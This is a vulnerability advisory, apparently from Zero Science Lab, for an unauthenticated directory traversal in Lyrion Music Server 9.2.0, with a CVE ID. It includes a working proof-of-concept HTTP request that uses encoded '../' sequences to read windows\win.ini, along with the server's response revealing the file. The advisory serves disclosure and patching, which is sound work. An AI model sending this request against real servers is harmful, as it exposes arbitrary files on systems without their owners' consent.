Lyrion Music Server 9.2.0 Path Traversal File Read


Vendor: LMS Community
Product web page: https://www.lyrion.org
Affected version 9.2.0

Summary: Lyrion Music Server (formerly Logitech Media Server, and
often abbreviated as "LMS" ) is open-source software which can control
and serve (stream) music to a wide range of physical and virtual audio
players called Squeezeboxes. Lyrion Music Server can stream your local
music collection, internet radio stations, and content from many streaming
services (with and without subscriptions).

Desc: The server suffers from a directory traversal vulnerability. Exploiting
this issue will allow an unauthenticated attacker to view arbitrary files
within the context of the web server.

Tested on: Windows 10 (64-bit) - EN
           Lyrion Music Server (9.2.0 - 1779973211)
           Perl/5.32.1
           SQLite


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2026-5992
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5992
CVE ID: CVE-2026-50234
CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-50234


27.05.2026

--


GET /html/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\win.ini HTTP/1.1
Host: localhost:9000

HTTP/1.1 200 OK
Server: Lyrion Music Server (9.2.0 - 1779973211)
Cache-Control: max-age=604800
Connection: close
Date: Fri, 29 May 2026 21:25:22 GMT
Content-Length: 134
Content-Type: text/html; charset=utf-8
Expires: Fri, 05 Jun 2026 21:25:22 GMT
Set-Cookie: Squeezebox-albumView=; path=/
Set-Cookie: Squeezebox-expandPlayerControl=; path=/
Set-Cookie: Squeezebox-expanded-MY_MUSIC=; path=/
Set-Cookie: Squeezebox-expanded-FAVORITES=; path=/
Set-Cookie: Squeezebox-expanded-PLUGINS=; path=/
Set-Cookie: Squeezebox-expanded-PLUGIN_MY_APPS_MODULE_NAME=; path=/
Set-Cookie: Squeezebox-expanded-RADIO=; path=/
X-Time-To-Serve: 0.0615050792694092

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[WN3000]
MachName=Mach0001
MachId=0001